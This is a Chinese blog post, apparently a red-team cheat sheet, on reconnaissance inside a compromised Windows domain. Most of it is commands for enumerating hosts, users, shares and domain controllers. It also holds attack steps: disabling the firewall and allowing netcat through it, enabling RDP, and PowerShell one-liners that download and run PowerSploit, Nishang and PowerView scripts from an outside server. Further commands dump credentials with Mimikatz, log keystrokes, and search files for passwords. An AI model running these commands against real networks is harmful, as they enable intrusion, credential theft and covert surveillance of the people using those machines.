HacKerQWQ的博客空间

内网渗透-信息收集篇

Word count: 5.1kReading time: 22 min
2021/04/01 Share

介绍

当我们通过渗透进入内网环境后,面对的是一片未知区域。需要对当前机器角色判断,对机器所处区域分析。

判断当前机器区域

判断机器所处于网络拓扑哪个区域,是在DMZ区办公区核心区。区域界限是相对的

机器角色判断

  • 文件服务器:配合社工,生成payload捆绑到文件服务器公用文件上,可批量上线主机

  • DNS服务器:端口53,可通过DNS服务器获取内网web系统信息,或者探测域信息

  • DHCP服务器:查看内网多组网段信息,更多的获取拓补信息

  • 开发测试服务器:获取源码,新的信息资产,多存在弱口令

  • 代理服务器:获取服务器账号,拿到各种密码

  • web服务器:可能需要提权(一般接触到的环境)

  • 个人PC:查看是否存在域环境

本机信息收集

包括操作系统、权限、内网IP段、杀软、端口、服务、补丁情况、网络连接、共享、会话等。如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软一般都是批量安装的。文件共享/FTP连接记录、浏览器访问记录、mstsc连接记录、ssh连接记录。

  • 如果由于使用了x86的shell无法使用命令,需要在命令前加上c:\windows\sysnative,这样就能执行x64的命令了。

查询网络配置信息。进行IP地址段、端口、arp记录内网段信息收集

ipconfig /all && netstat -ano && arp -a

查看当前系统版本

wmic OS get Caption,CSDVersion,OSArchitecture,Version

查看体系结构

echo %PROCESSOR_ARCHITECTURE%

查询操作系统及软件信息

systeminfo | findstr /B /C:”OS Name” /C:”OS Version” ## 英文系统
systeminfo | findstr /B /C:”OS 名称” /C:”OS 版本” ## 中文系统

查看.net framework版本

reg query “HKLM\Software\Microsoft\NET Framework Setup\NDP” /s /v version | findstr /i version | sort /+26 /r

查看补丁列表

systeminfo

查看补丁的名称、描述、ID、安装时间等

wmic qfe get Caption,Description,HotFixID,InstalledOn

PowerShell收集软件的版本信息

powershell “Get-WmiObject -class Win32_Product |Select-Object -Property name, version”

查看安装的软件的版本、路径等

1
wmic product get name, version

查看软件比较靠谱的做法是将远程加载本地ps文件,cs中可以使用powershell-import,上传ListInstallProgram.ps1后输入

1
powershell Get-list

将文件放到靶机,本地加载也可以

1
shell powershell -exec bypass -Command "& {Import-Module 'C:\Users\HackerQWQ\Desktop\ListInstalledProgram.ps1';Get-list}"

查看当前用户权限

whoami && whoami /priv

查询本机服务信息

wmic service list brief

查看开启的服务

net start

wmic查询进程信息

wmic process list brief

查看进程

tasklist /svc

查看启动程序信息

wmic startup get command,caption

查看计划任务(需要高权限)

at(win10之前)
schtasks /query /fo LIST /v(win10之后)

查看主机开机时间

net statistics workstation

查看本机用户列表

net user

获取本地管理员信息

net localgroup administrators

查看当前在线用户

query user || qwinsta

查看在线用户

quser

列出或断开本地计算机与所连接的客户端的对话(需要高权限)

net session

查询端口列表

Windows: netstat -ano
linux: netstat -tnlp

查看本机共享列表和可访问的域共享列表

net share (445端口)

查找共享列表

wmic share get name,path,status

磁盘映射

net use k: \192.168.1.10\c$

查询路由表

1
route print

可用接口的ARP缓存表。局域网内arp -a,查看是否有重复的mac地址判断是否存在arp欺骗。服务器绑定mac地址方式防止arp欺骗

1
arp -a

查看远程连接信息

cmdkey /l

查看杀软

WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

查看本地密码策略

net accounts

查看hosts文件:

linux:cat /etc/hosts
windows:type c:\Windows\system32\drivers\etc\hosts

查看dns缓存

ipconfig /displaydns

常见查毒软件进程

1
tasklist /svc

随后将结果放到avList中对比查看

进程 软件名称
360SD.EXE 360杀毒
360TRAY.EXE 360实时保护
ZHUDONGFANGYU.EXE 360主动防御
KSAFETRAY.EXE 金山卫士
SAFEDOGUPDATECENTER.EXE 服务器安全狗
MCAFEE MCSHIELD.EXE 迈克菲杀毒软件
EGUI.EXE NOD32
AVP.EXE 卡巴斯基
AVGUARD.EXE 小红伞
BDAGENT.EXE BITDEFENDER

可以用avList自动判断,项目地址:https://github.com/gh0stkey/avList
20210402114054

浏览器信息收集

项目地址:https://github.com/moonD4rk/HackBrowserData

image-20220731162608183

域环境信息收集

判断是否存在域

ipconfig /all 可查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处在同一网段等。

image-20211220011528899

解析域名ip

通过反向解析查询命令nslookup来解析域名的IP地址,用解析到的IP地址进行对比,判断域控服务器和DNS服务器是否在同一台机器上

image-20211220011610591

查看当前权限

whoami

获取域SID

whoami /all

查询指定用户的详情信息

net user xxx /domain

查看域内所有账号

net user /domain

对比查看”域(域名)”和”登录服务器(域控制器)”的信息是否匹配

systeminfo

对比查看”工作站域DNS名称(域名)”和”登录域(域控制器)”的信息是否相匹配

net config workstation

查看时间可以找到域控

net time /domain

查看域密码策略

net accounts /domain

查看当前登录域

net config workstation

查看域用户

net user /domain

登录本机的域管理员

net localgroup administrators /domain

获取域控ip

ping -a xxx.com

查询域

net view /domain

查询域内的所有计算机

net view /domain:HACHE

查询域的所有组(enterprise admins组权限最大)

net group /domain

SPN扫描

setspn -T domain -q /

查看域管理员的用户组

net group “domain admins” /domain

查询域系统管理员用户组

net group “Enterprise admins” /domain

查看域控制器

net group “domain controllers” /domain

查看域控制器的机器名

nltest /DCLIST:hacke

查看dns缓存

ipconfig /displaydns

列域控c盘文件(需要域管理员权限)

dir \WIN-75NA0949GFB.safe-duck.com\c$

查询所有域成员计算机列表

net group “domain computers” /domain

获取域信任信息

nltest /domain_trusts

获取域内用户的详细信息

wmic useraccount get /all

查看存在的用户

dsquery user

查询所有计算机名称

dsquery computer

攻击主机CMD扫描同网段存活ip

windows

1
2
# 扫c段
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="

Linux

1
2
3
4
5
6
7
8
9
#!/bin/bash
NET=10.168.1.
for IP in {100..115}
do
if `ping -c2 -i0.2 -w2 $NET$IP &> /dev/null`
then echo -e "$NET$IP is \033[31mup\033[0m"
else echo -e "$NET$IP is \033[32mdown\033[0m"
fi
done

扫b段

1
for i in 192.168.{1..254}.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null;then echo $i is alived; fi; done

PowerView.ps域内信息收集

Invoke-NetView //查域内环境
Invoke-ShareFinder //查共享目录
Invoke-MapDomainTrusts //查看域内信任关系
Get-NetLocalGroup -HostName TARGET(主机名) //查看指定用户的登录时间、所属组情况

cs信息收集

target组信息的命令

net group \Target
net localgroup \target 组名

获取远程目录

shell dir \target\c$
shell dir /S /B \target\c$\users //递归获取多级目录及文件

cs通过powershell命令获取目录信息

powersehll Invoke-Command -ComputerName target -ScriptBlock{dir c:}
powershell Invoke-Command -ComputerName target -ScriptBlock{net localgroup administrators}

cs通过mimikatz抓取远程哈希值

powershell-import Invoke-Mimikatz.ps1
powershell Invoke-Mimikatz -DumpCreds
powershell Invoke-Mimikatz -Command ‘“privilege::debug” “sekurlsa::logonPasswords full”‘

防火墙相关

  1. 关闭防火墙

    Windows Server 2003及之前的版本(admin):

    1
    netsh firewall set opmode disable

    Windows Server 2003之后的版本(admin):

    1
    netsh advfirewall set allprofiles state off
  2. 查看防火墙配置:

    1
    netsh firewall show config

    20210402114218

  3. 修改防火墙配置

    Windows Server 2003及之前的版本,允许指定程序全部连接:

    1
    netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

    Windows Server 2003之后的版本,情况如下。

    允许指定程序进入:

    1
    netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"

    允许指定程序退出:

    1
    netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"

    允许3389端口放行:

    1
    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

    自定义防火墙日志的储存位置

    1
    netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

查询代理配置情况

1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

20210402114228

查询并开启远程连接服务

  1. 查看远程连接端口

    0xd3d转换后就是3389

    1
    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
  2. 在Windows Server 2003中开启3389端口

1
wmic path win32_terminalservicesetting where (__CLASS !="")  call setallowtsconnections 1
  1. 在Windows Server 2008和Windows Server 2012中开启3389端口
1
2
3
4
5
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

端口扫描

telnet端口连接

没有开启的话去“打开或关闭windows功能”开启

  • telnet只用于确认端口是否开启用,不拿来端口扫描
1
2
telnet <主机> <端口>
telnet 192.168.52.138 445

PowerSploit 中的Invoke-portscan.ps1脚本

下载地址:https://github.com/PowerShellMafia/PowerSploit

端口扫描利用到工具包中的Portscan.ps1

1
2
3
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -ports '445,1433,8080,80,3389'"

// 或者扫描全部的端口:-Ports "1-65535"

image-20211229003834739

Nishang中的Invoke-portscan.ps1

下载地址:https://github.com/samratashok/nishang

该脚本可用于发现主机、解析主机名、扫描端口。

1
2
3
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Scan/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.255 -ResolveHost -Port '1-65535'"

// -ResolveHost:解析主机名

image-20211229004647052

Nmap扫描

一般通过挂代理,nmap远程扫描

《内网渗透测试:隐藏通讯隧道技术》

Metasploit 端口扫描模块

Metasploit中提供了很多内置的扫描模块,使用方便,在侵入内网后设置好路由直接扫即可,有时速度有些慢。几个常用的:

1
2
3
auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/ack

收集域内端口的banner信息

banner信息表示“欢迎语”,其中会包含一些敏感信息,在banner信息中,可以获取到软件开发商、软件名称、服务类型、版本号等,而版本号信息有时会存在公开的CVE可以利用。获取到版本号后,可以在中查找到对应的CVE编号,并在ExploitDB等平台上面找到相关的利用方式。

使用Nmap获取banner

1
nmap <IP地址> --script=banner -p <端口/端口范围>

img

使用nc获取banner

1
nc -nv <IP地址> <端口>

img

存活主机扫描

nbtscan

nbtscan.exe是一个命令行工具,用于扫描本地或远程TCP/IP网络上的开放NetBIOS名称服务器。

下载地址:https://github.com/MrAnonymous-1/nbtscan

将nbtscan.exe上传到目标主机上,然后直接输入ip段即可运行扫描:

1
2
3
4
//扫描一个网段
nbtscan.exe 192.168.1.0/24
//扫描两个网段
nbtscan.exe 192.168.1.0/24 192.168.2.0/24

image-20220102212911598

参数解释:

  • SHARING:该主机存在正在运行的文件和打印共享服务

  • DC:该机器可能是域控制器

  • ?:没有识别处该机器的NetBIOS资源

ping

基于icmp扫描内网

1
2
3
4
5
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
//兼容win7
for /l %i in (1,1,254) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Ping"
//扫b段
for /l %i in (1,1,254) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Ping"

image-20220102210052830

arp-scan.exe

基于arp协议来进行存活性扫描

项目地址:https://github.com/QbsuranAlang/arp-scan-windows-

image-20220102223533890

批处理脚本

这个批处理文件可用于对内网工作组和域内存活主机进行简单的扫描探测,并且支持中英文操作系统。

1
2
3
4
5
6
7
8
9
10
11
@echo off
@echo.
@FOR /F "usebackq delims=, " %%J IN (`net view /domain ^|find "命令成功完成" /v ^|find "The command completed successfully." /v ^|find "命令成功完成" /v ^|find "--" /v ^|find "Domain" /v ^|find "" /v ^|find "コマンドは正常に終了しました" /v /i`) do (
@echo ====== Domain:%%J =========
@FOR /F "usebackq eol=; delims=, " %%i in (`net view /domain:%%J ^|findstr "\\"`) do (
@FOR /F "usebackq eol=; tokens=1,2,3* delims=\\" %%a in (`@echo %%i`) do (
ping %%a -4 -n 1 -w 100 |find /i "ping" > %%a.txt
@FOR /F "tokens=2 delims=[]" %%b in (%%a.txt) do @echo \\%%a = [%%b]
@del /f /q %%a.txt
)))
@echo ====== Getting IP Complete ======

msf主机存活扫描

1
2
3
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/netbios/nbname

MSF建立会话拿到shell,即可直接执行DOS命令至今进行信息收集。也可以进行直接执行run winenum可以一键收集记录。

1
run winenum

定位域管理员

psloggeddon.exe

下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

psloggedon.exe可以查看本地登陆的用户和通过本地计算机或远程计算机资源登陆的用户。如果指定的是用户名而不是机器名,psloggedon.exe会搜索网上邻居中的所有计算机,并显示该用户是否已经登录。该工具的某些功能需要管理员权限。

1
psloggedon.exe [-] [-l] [-x] [\\computername或username]

查看DC(域控)登录过的机器

1
PsLoggedon64.exe -accepteula \\DC

image-20220102224228793

查看本地登录的用户

1
PsLoggedon64.exe -accepteula

image-20220102224301966

查看指定用户登录的计算机

1
PsLoggedon64.exe -accepteula Administrator

image-20220102224406477

PVEFindADUser.exe

下载地址:https://www.corelan.be/index.php/my-free-tools/ad-cs/pve-find-ad-user/

PVEFindADUser.exe 可用于查找活动目录用户登陆的位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括查找本地用户。通过RDP远程桌面登陆的用户、通过运行服务和计划任务的用户。运行该工具需要计算机配置**.NET Framework 2.0 环境,并需要有管理员权限**。

1
PVEFindADUser.exe <参数>

我们一般直接运行pvefinaduser.exe -current命令,即可显示域中所有计算机上当前登陆的所有用户。

image-20220102225301609

显示指定用户登录的计算机

current[“username”] 如果仅指定了-current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名(Domain\Username),则显示该用户登陆的计算机
1
2
PVEFindADUser.exe -current redteam.org\dc
//PVEFindADUser.exe -current domain\username

image-20220102225446676

powerview.ps1

powerview脚本可以用来获取当前域管理员在线登录的服务器,其依赖powershell和wmi,在powersploit工具包中,是一个收集域信息很好用的脚本。

  • Invoke-UserHunter:搜索本地域中域管理员当前在线的主机,并验证当前用户是否具有对这些主机的本地管理员访问权限。它可以使用 Get-NetSessions 和Get-NetLoggedon 扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,并且无需管理员权限。

如下,可以看到本地域有一个域管理员:

image-20220102230156266我们通过Invoke-UserHunter(等于Invoke-UserHunter -CheckAccess)来定位他们:

1
powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/PowerView.ps1');Invoke-UserHunter

img详情请执行Get-Help Invoke-UserHunter命令查看,具体使用方法与前两个相似,它可以找到域内特定的用户群,接受用户名、用户列表和域组列表查询,接受一个主机列表或查询可用的主机域名。一切都是灵活的,让你自己定义找寻谁,在哪里找。

获取指定用户在线机器:

img

Empire信息收集

1
2
3
4
# 查看本机用户、域组成员、密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息等
usemodule situation_awareness/host/winenum
# 目标主机事件日志、应用程序控制策略日志、RDP登录信息、PowerShell脚本运行和保存的信息等,需要管理员权限
usemodule situational_awareness/host/computerdetails

powersploit 信息收集

项目地址:https://github.com/PowerShellMafia/PowerSploit
,已经停止维护

建立会话后的meterpreter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#加载模块
load powershell
#调用本地ps脚本
powershell_import /usr/share/windows-resources/powersploit/Recon/xx.ps1
#命令执行
powershell_execute Get-NetDomain
#获取当前的域名称
Get-NetDomain
#返回所有域内成员的详细信息
Get-Netuser
#获取所有的域内的控制器信息
Get-NetDomainController
#获取所有域内机器的名称
Get-NetComputer
#获取域内的所有的网络共享
Get-Netshare
#获取指定服务的远程连接信息
Get-NetRDPSESSION
#获取进程的详细信息
Get-NetProcess
# 获取活动目录的信息
Get-ADOPJECT
#判断用户是否登陆计算机且用户是否有管理员权限
invoke-processhunter

powersploit无文件攻击
将下载的文件放在vps上面。确保目标服务器可以访问:

如:http://xxx.com/PowerSplot/Recon/Invoke-Portscan.ps1

1
2
3
4
5
6
7
8
9
10
11
12
#在目标机导入脚本:
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Recon/Invoke-Portscan.ps1")
#扫描网段、端口
invoke-portscan -hosts 192.168.1.1/24 -ports "21,22,80,139,80,445"
#invoke-mimikatz抓取hash
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
#导hash
Invoke-Mimikatz -dumpcreds
#get-keystrokes键盘记录
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
#将键盘记录保存到123.txt里面
Get-Keystrokes -logpath C:\Users\admin\123.txt

翻翻配置文件

一个正常的Web应用肯定有对应的数据库账号密码信息,可以使用如下命令寻找包含密码字段的文件:

1
2
3
findstr  /s /m "password" *.*
findstr /s /i /m /r "defineclass remoteserver" Web目录 \*.jsp
# /r 表示正则,/s表示遍历子目录,/m表示不显示匹配

Linux查文件:

1
2
find Web应用目录 -iname "*.jsp*" | xargs egrep -l -i "classloader" |xargs egrep -l -i "cipher"
find Web应用目录 -iname "*.php*" | xargs egrep -l -i "openssl_decrypt" |xargs egrep -l -i "file_get_contents"

敏感路径

1
2
3
4
5
6
7
8
9
10
%WINDIR%
%WINDIR%\system32\
%TEMP%
%LOCALAPPDATA%
%APPDATA%
C:\TEMP\
C:\Windows\Temp
%UserProfile%\Downloads
%UserProfile%\Recent
C:\$Recycle.bin

常用应用的默认配置路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Tomcat:
CATALINA_HOME/conf/tomcat-users.xml

Apache:
/etc/httpd/conf/httpd.conf

Nginx:
/etc/nginx/nginx.conf

Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf

Mysql:
mysql\data\mysql\user.MYD

还有一些Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)的密码查看

项目: https://github.com/uknowsec/SharpDecryptPwd

BloodHound域分析工具

BloodHound通过图与线的形式,将域内用户、计算机、及相关用户等等之间的关系直观地展现在Red Team队员面前,帮助更快的梳理域内的情况。

  • BloodHound基于Neo4j(非关系型数据库)

配置

  1. 安装java

  2. 安装Neo4jServer Community

    https://neo4j.com/download-center/#community

    image-20220107001050290

    开启服务

    1
    neo4j.bat console

    image-20220107001246254

    通过http://localhost:7474/broswer访问,账号密码neo4j/neo4j

    image-20220107001346092

    • 忘记密码的话将neo4j.conf中的dbms.security.auth_enabled=false开启就可以了,重启服务即可生效
  3. 下载BloodHound

    打开BloodHound.exe,输入账号密码(neo4j/123456)即可进入主页面

    image-20220126163803646

使用

通过上传SharpHound.exe运行命令

1
SharpHound.exe -c all

生成压缩包然后在BloodHound.exe的upload data导入数据

image-20220126181806426

可以选中一个节点查看node info

image-20220126181902426

也可以通过analysis中的一些预定义查询语句查询,如这里选用Find all Domain Admins查询结果

image-20220126181945796

参考链接

https://mp.weixin.qq.com/s/bwG0J3LwE0xMC_J_1Af68w

CATALOG
  1. 1. 介绍
    1. 1.1. 判断当前机器区域
    2. 1.2. 机器角色判断
  2. 2. 本机信息收集
    1. 2.1. 查询网络配置信息。进行IP地址段、端口、arp记录内网段信息收集
    2. 2.2. 查看当前系统版本
    3. 2.3. 查看体系结构
    4. 2.4. 查询操作系统及软件信息
    5. 2.5. 查看.net framework版本
    6. 2.6. 查看补丁列表
    7. 2.7. 查看补丁的名称、描述、ID、安装时间等
    8. 2.8. PowerShell收集软件的版本信息
    9. 2.9. 查看安装的软件的版本、路径等
    10. 2.10. 查看当前用户权限
    11. 2.11. 查询本机服务信息
    12. 2.12. 查看开启的服务
    13. 2.13. wmic查询进程信息
    14. 2.14. 查看进程
    15. 2.15. 查看启动程序信息
    16. 2.16. 查看计划任务(需要高权限)
    17. 2.17. 查看主机开机时间
    18. 2.18. 查看本机用户列表
    19. 2.19. 获取本地管理员信息
    20. 2.20. 查看当前在线用户
    21. 2.21. 查看在线用户
    22. 2.22. 列出或断开本地计算机与所连接的客户端的对话(需要高权限)
    23. 2.23. 查询端口列表
    24. 2.24. 查看本机共享列表和可访问的域共享列表
    25. 2.25. 查找共享列表
    26. 2.26. 磁盘映射
    27. 2.27. 查询路由表
    28. 2.28. 查看远程连接信息
    29. 2.29. 查看杀软
    30. 2.30. 查看本地密码策略
    31. 2.31. 查看hosts文件:
    32. 2.32. 查看dns缓存
    33. 2.33. 常见查毒软件进程
    34. 2.34. 浏览器信息收集
  3. 3. 域环境信息收集
    1. 3.1. 判断是否存在域
    2. 3.2. 解析域名ip
    3. 3.3. 查看当前权限
    4. 3.4. 获取域SID
    5. 3.5. 查询指定用户的详情信息
    6. 3.6. 查看域内所有账号
    7. 3.7. 对比查看”域(域名)”和”登录服务器(域控制器)”的信息是否匹配
    8. 3.8. 对比查看”工作站域DNS名称(域名)”和”登录域(域控制器)”的信息是否相匹配
    9. 3.9. 查看时间可以找到域控
    10. 3.10. 查看域密码策略
    11. 3.11. 查看当前登录域
    12. 3.12. 查看域用户
    13. 3.13. 登录本机的域管理员
    14. 3.14. 获取域控ip
    15. 3.15. 查询域
    16. 3.16. 查询域内的所有计算机
    17. 3.17. 查询域的所有组(enterprise admins组权限最大)
    18. 3.18. SPN扫描
    19. 3.19. 查看域管理员的用户组
    20. 3.20. 查询域系统管理员用户组
    21. 3.21. 查看域控制器
    22. 3.22. 查看域控制器的机器名
    23. 3.23. 查看dns缓存
    24. 3.24. 列域控c盘文件(需要域管理员权限)
    25. 3.25. 查询所有域成员计算机列表
    26. 3.26. 获取域信任信息
    27. 3.27. 获取域内用户的详细信息
    28. 3.28. 查看存在的用户
    29. 3.29. 查询所有计算机名称
    30. 3.30. 攻击主机CMD扫描同网段存活ip
    31. 3.31. PowerView.ps域内信息收集
    32. 3.32. cs信息收集
      1. 3.32.1. target组信息的命令
      2. 3.32.2. 获取远程目录
      3. 3.32.3. cs通过powershell命令获取目录信息
      4. 3.32.4. cs通过mimikatz抓取远程哈希值
    33. 3.33. 防火墙相关
    34. 3.34. 查询代理配置情况
    35. 3.35. 查询并开启远程连接服务
    36. 3.36. 端口扫描
      1. 3.36.1. telnet端口连接
      2. 3.36.2. PowerSploit 中的Invoke-portscan.ps1脚本
      3. 3.36.3. Nishang中的Invoke-portscan.ps1
      4. 3.36.4. Nmap扫描
      5. 3.36.5. Metasploit 端口扫描模块
      6. 3.36.6. 收集域内端口的banner信息
        1. 3.36.6.1. 使用Nmap获取banner
        2. 3.36.6.2. 使用nc获取banner
    37. 3.37. 存活主机扫描
      1. 3.37.1. nbtscan
      2. 3.37.2. ping
      3. 3.37.3. arp-scan.exe
      4. 3.37.4. 批处理脚本
      5. 3.37.5. msf主机存活扫描
    38. 3.38. 定位域管理员
      1. 3.38.1. psloggeddon.exe
      2. 3.38.2. PVEFindADUser.exe
      3. 3.38.3. powerview.ps1
    39. 3.39. Empire信息收集
    40. 3.40. powersploit 信息收集
    41. 3.41. 翻翻配置文件
    42. 3.42. BloodHound域分析工具
      1. 3.42.1. 配置
      2. 3.42.2. 使用
  4. 4. 参考链接